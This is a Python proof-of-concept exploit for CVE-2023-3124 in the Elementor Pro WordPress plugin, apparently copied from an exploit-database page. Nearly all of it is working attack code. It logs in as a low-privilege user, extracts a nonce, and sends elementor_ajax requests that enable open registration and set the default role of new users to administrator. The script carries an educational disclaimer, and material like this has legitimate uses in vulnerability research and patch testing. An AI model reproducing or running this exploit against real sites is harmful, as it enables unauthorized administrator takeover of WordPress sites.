4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / PoC.py PY
# Exploit Title: Elementor Pro <= 3.11.6 - Authenticated(Subscriber+) Privilege Escalation via update_page_option
# Exploit Author: AmirWhiteHat
# CVE: CVE-2023-3124
# CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
#
# python3 PoC.py --username USER --password PASS --link WP-URL
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test. 
# The author will not be held responsible for any use or damage caused by this 
# program. 

import os,sys
import time
import random
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from bs4 import BeautifulSoup
import requests
from optparse import OptionParser

is_windows = sys.platform.startswith('win')
if is_windows:
    import win_unicode_console , colorama
    win_unicode_console.enable()
    colorama.init()
    r = '\033[91m'
    g = '\033[92m'
    y = '\033[93m'
    b = '\033[94m'
    w = '\033[0m'
    m = '\033[35m'
else:
    r = '\033[31m'
    g = '\033[32m'
    y = '\033[33m'
    b = '\033[34m'
    m = '\033[35m'
    c = '\033[36m'
    w = '\033[37m'
    rr = '\033[39m'

def main():
    try:
        parser = OptionParser()
        parser.add_option("-u", "--username", dest="username", default="",
                      help="Wordpress Username")
        parser.add_option("-p", "--password", dest="password", default="",
                      help="Wordpress Passowrd")
        parser.add_option("-l", "--link", dest="link", default="",
                      help="Wordpress URL")
        (options, args) = parser.parse_args()

        if not os.path.exists("results"):
            os.makedirs("results")
         
        print(f'{y}## Title: CVE-2023-3124 {y}')
        print(f'{y}## PoC By AmirWhiteHat  {y}')
        
        if options.link == False:
            print(f'{r}[-] Wordpress url not found.'+f'{w}')
            exit()

        if options.username == False:
            print(f'{r}[-] Username not found.'+f'{w}')
            exit()

        if options.password == False:
            print(f'{r}[-] Password not found.'+f'{w}')
            exit()
        
        print(f'{m}[*] Try to login '+str(options.username)+' with '+str(options.password)+f'{m}')
        session = requests.Session()
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "nl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate",
                "Content-Type": "application/x-www-form-urlencoded", "Origin": options.link, "Connection": "close", "Upgrade-Insecure-Requests": "1"}
        data = {"log": options.username, "pwd": options.password, "wp-submit": "Log In",
                "redirect_to": f"{options.link}/wp-admin/index.php?wc-ajax=1"}
        print(f"{y}[*] Logging in...{w}")
        res = session.post(f"{options.link}/wp-login.php", headers=headers, data=data, allow_redirects=True, verify=False)
        if ("incorrect" not in res.text) or ("unsure" not in res.text):
            # Step 1
            content = str(res.content)
            content = content[content.find("elementor-common-js-before"):]
            content = content[:content.find("</script>")]
            nonce = content[content.find("nonce")+8:content.find("nonce")+18]
            print(f"{g}[+] Got nonce: {nonce}{w}")

            # Step 2
            data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"users_can_register\",\"editor_post_id\":%d}}}" % 1,
                        "_nonce": nonce, "action": "elementor_ajax"}
            res = session.post(f"{options.link}/wp-admin/admin-ajax.php", data=data , verify=False)
            resp = res.json()
            try:
                if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]:
                    print(f"{g}[+] Updated users_can_register option to True {w}")
            except:
                print(f"{r}[-] Failed to update users_can_register option to True {w}")

            # Step 3
            data = {"actions": "{\"pro_woocommerce_update_page_option\":{\"action\":\"pro_woocommerce_update_page_option\",\"data\":{\"option_name\":\"default_role\",\"editor_post_id\":\"%s\"}}}" % "administrator",
                        "_nonce": nonce, "action": "elementor_ajax"}
            res = session.post(f"{options.link}/wp-admin/admin-ajax.php", data=data, verify=False)
            resp = res.json()
            try:
                if resp["data"]["responses"]["pro_woocommerce_update_page_option"]["success"]:
                    print(f"{g}[+] Updated default_role option to admin {w}")
                    print(f"{g}[+] New users defult role is admin :) {w}")
            except:
                print(f"{r}[-] Failed to update default_role option to admin {w}")
        else:
            print(f"{r}[-] Wrong information {w}")

    except Exception as e:
        print("Error => "+str(e))
        
main()